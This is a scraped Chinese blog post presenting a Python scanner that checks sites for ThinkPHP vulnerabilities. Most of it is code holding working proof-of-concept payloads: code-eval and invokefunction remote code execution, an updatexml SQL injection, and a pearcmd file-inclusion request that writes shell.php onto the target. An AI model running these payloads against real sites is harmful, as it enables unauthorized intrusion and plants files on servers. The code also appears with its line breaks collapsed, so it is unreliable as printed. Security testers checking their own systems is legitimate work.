当前位置: 首页 > news >正文

python项目: Thinkphp框架漏洞扫描器集成

前言

该项目是将thinkphp各漏洞的漏扫器集成在一个项目中。

核心

该项目主要使用python代码完成,使用了bs4,requests,urllib等模块,使用了面向对象的编程方法,在展示上主要使用了rich模块。

代码

main.py (主函数,来调动其他两个函数,并接收输入的参数)

import argparse
import datetime
import sys
import thinkphp_rprint as rprint
from thinkphp_scan import start_scandef get_time():now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')return nowif __name__ == '__main__':parser = argparse.ArgumentParser(description='Mirror的thinkphp漏洞扫描器')parser.add_argument('-url' ,'--url' ,type=str, help='请输出目标的url')parser.add_argument('-file', '--file', type=str, help='请输入待检测存在漏洞url的txt文件')args = parser.parse_args()if '-url' in sys.argv:rprint.info(get_time(), "thinkphp漏洞检测开始")start_scan(args.url)rprint.info(get_time(), "thinkphp漏洞检测结束")elif '-file' in sys.argv:file = open(args.file, 'r')rprint.info(get_time(), "thinkphp漏洞检测开始")for url in file:start_scan(url)rprint.info(get_time(), "thinkphp漏洞检测结束")

thinkphp_scan.py (来执行对漏洞检测的部分)

import datetime
import requests
from urllib.parse import *
import thinkphp_rprint as rprintdef get_time():now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')return nowclass ThinkphpScan:def __init__(self):passdef thinkphp_2x_scan(url):result = {"name" : "thinkphp_2x_scan","vulnerable" : False,}try:payload = "?s=/handsome/jing/zi/${var_dump(md5(Mirror))}"urls = urljoin(url, payload)response = requests.get(url=urls)# 判断 md5(handsome_Mirror) 在数据包中是否存在if '2403def5083f02105e7802b3b315681e' in response.text:result['vulnerable'] = Trueresult['method'] = 'GET'result['url'] = urlsresult['payload'] = payloadreturn resultelse:return resultexcept :return resultdef thinkphp_5_0_23_scan(url):result = {"name" : "thinkphp_5_0_23_scan","vulnerable" : False}payload = {'_method' : '__construct','filter[]' : 'phpinfo','method' : 'get','server[REQUEST_METHOD]' : '1'}try:path = '/index.php?s=captcha'target = urljoin(url, path)response = requests.post(url=target, data=payload, verify=False)# print(response.text)if "PHP Version" in response.text:result['vulnerable'] = Trueresult['method'] = 'POST'result['url'] = targetresult['payload'] = payloadreturn resultelse:return resultexcept:return resultdef thinkphp_5_rce_scan(url):result = {"name": "thinkphp5-5.0.22/5.1.29 RCE","vulnerable": False}try:poc = r'/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=handsome_Mirror'payload = urljoin(url, poc)response = requests.get(payload, verify=False)if '2f0477618daf4574f9e0e50eb84a7f8e' in response.text:result['vulnerable'] = Trueresult['method'] = 'GET'result['url'] = payloadresult['payload'] = pocreturn resultelse:return resultexcept:return resultdef thinkphp_5_sqli(url):result = {"name": "thinkphp5 sql injection and Sensitive information leakage","vulnerable": False}try:poc = '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'url = urljoin(url, poc)response = requests.get(url, verify=False)if 'XPATH syntax error' in response.text:result['vulnerable'] = Trueresult['method'] = 'GET'result['url'] = urlresult['payload'] = urlreturn resultelse:return resultexcept:return resultdef thinkphp_6_upload(url):result = {"name": "thinkphp6 lang local file inclusion","vulnerable": False}try:poc = 'index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php'url_1 = urljoin(url, poc)response_1 = requests.get(url_1, verify=False)url_2 = url + '/shell.php'response_2 = requests.get(url_2, verify=False)if response_2.status_code == 200:result['vulnerable'] = Trueresult['method'] = 'GET'result['url'] = url_2result['payload'] = url_1return resultelse:return resultexcept:return resultdef start_scan(self):scan = ThinkphpScan.thinkphp_2x_scan(self)rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))scan = ThinkphpScan.thinkphp_5_0_23_scan(self)rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))scan = ThinkphpScan.thinkphp_5_rce_scan(self)rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))scan = ThinkphpScan.thinkphp_5_sqli(self)rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))scan = ThinkphpScan.thinkphp_6_upload(self)rprint.info(get_time(), scan['name'] + str('  ' + str(scan['vulnerable'])))

thinkphp_rprint (主要是来进行界面的优化)

from rich import print as rprintdef error(date, body):rprint("[[bold green]" + date + "[/bold green]] [[bold red]Error[/bold red]] > [bold yellow]" + body + "[/bold yellow]")def success(date, body):rprint("[[bold green]" + date + "[/bold green]] [[bold green]Success[/bold green]] > " + body)def info(date, body):rprint("[[bold green]" + date + "[/bold green]] [[bold blue]Info[/bold blue]] > " + body)
http://www.dtcms.com/a/398769.html

相关文章:

  • 车载通信架构 ---新一代车载通信框架
  • 建设银行网站怎么注销网银网站建设网页制作
  • 【25软考网工】第五章(10) Internet应用
  • Android target35适配之窗口边衬区变更
  • 设计网站推荐百度贴吧装修设计比较好的网站
  • 营销网站四大要素谷歌做自己的网站
  • 【OpenGL】LearnOpenGL学习笔记27 - HDR、Bloom
  • MySQL 学习笔记 (Part.1)
  • 《代码大全》笔记
  • 【低代码】阿里Formily通用设计工具Designable学习记录
  • 网站建设客户wordpress如何看网页地址
  • php做的网站如何发布新类型网站
  • mq是如何实现的
  • 【区间贪心】P3661 [USACO17FEB] Why Did the Cow Cross the Road I S|普及+
  • AIGC实战——BicycleGAN详解与实现
  • 基于Element Plus的Vue3远程搜索多选组件实现与优化
  • 网站只做静态页面安全受到影响南昌旅游集团网站建设
  • pom.xml 不在根目录,idea无法识别项目处理方案
  • 网站开发所需硬件昆明微网站搭建
  • 【第25话:路径规划】自动驾驶路径规划概念与理论介绍
  • QT多窗口跳转
  • 栈(Stack)
  • 整体设计 逻辑全链 之8 受控的自然语言-字面拼凑:正则表达式 之2
  • 攻防世界-Web-simple_php
  • 【Linux我做主】进程程序替换和exec函数族
  • 清华最新发布 | 大型推理模型的强化学习综述
  • C++异常处理的根本缺陷:隐式传播的性能陷阱与控制流断裂
  • 【东枫】USRP X310 母版 PCB
  • 山东锦华建设集团有限公司网站嘉瑞建设有限公司网站
  • 食品品牌网站策划美容行业培训网站建设